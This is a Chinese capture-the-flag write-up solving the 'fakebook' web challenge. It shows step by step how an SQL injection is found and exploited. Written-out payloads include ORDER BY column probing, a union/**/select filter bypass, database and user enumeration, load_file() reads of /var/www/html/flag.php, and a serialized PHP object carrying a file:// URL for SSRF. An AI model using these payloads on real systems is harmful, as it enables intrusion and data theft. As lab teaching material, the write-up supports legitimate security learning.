攻防世界-fakebook题目__详解

1.打开题目先用dirsearch工具扫描一波,扫出来了robots.php目录,然后访问robots.txt

目录,发现了有一个备份文件 ,访问备份文件,下载内容

文件的大致内容如下

里面有一个curl_exec这个函数容易造成ssrf攻击的漏洞

我们回到首页先去注册一个账号

然后登陆进去了,点击一下admin这个用户,发现url上有可以注入的点,那么我们尝试使用sql语句来判断,输入?no=1 and 1=1 的时候回显正常,输入?no=1=2的时候回显报错,明显是数字类型的注入

我们先来判断有多少列

?no=1 order by 1# //正常

?no=1 order by 2# //正常

?no=1 order by 3# //正常

?no=1 order by 4# //正常

?no=1 order by 5# //错误

通过测试发现有4列

我们进行联合注入测试使用命令1' union select 1,2,3,4#结果发现这句话被过滤了

那么我们测试一下是过滤了什么,通过测试发现过滤了union和select那么我们使用注释绕过语句为-1 union/**/select 1,2,3,4--+测试回显位在哪里,-1是不存在的,给一个不存在的才可以看到占位符,从这个回显图上可以看到username的位置有回显,这个就是第二列的参数,就是-1 union/**/select 1,2,3,4#中数字2的参数回显,这就是回显位,那么从这里注入

构造payload语句为-1 union/**/select 1,database(),3,4#查看数据库名,可以看到数据库名字为fakebook

接下来我们来查看数据库信息使用payload:-1 union/**/select 1,user(),3,4#,可以知道用户是root用户的权限,知道了是root权限之后可以使用函数load_file()来利用绝对路径加载文件,可以构造的payload为-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#来查看flag,网页直接回显了flag

另一种获取的 方法是-1 union/**/select 1,group_concat(table_name),3,4 from informaion_schema.tables where table_schema='fakebook'#来查看表名,然后通过表名来查看列名字

构造的payload为-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'# 从下图可以看出no是第一列的,username是第二列的,passwd是第三列的data是第四列

然后在data里看到了一个序列化的字符串?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'然后源码里的base64加密,解密之后就是flag了

相关推荐
十日十行7 小时前
Linux和window共享文件夹
linux
木心月转码ing14 小时前
WSL+Cpp开发环境配置
linux
JaguarJack15 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo16 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
崔小汤呀2 天前
最全的docker安装笔记,包含CentOS和Ubuntu
linux·后端
何中应2 天前
vi编辑器使用
linux·后端·操作系统
何中应2 天前
Linux进程无法被kill
linux·后端·操作系统
何中应2 天前
rm-rf /命令操作介绍
linux·后端·操作系统
何中应2 天前
Linux常用命令
linux·操作系统
葛立国2 天前
从 / 和 /dev 说起:Linux 文件系统与挂载点一文理清
linux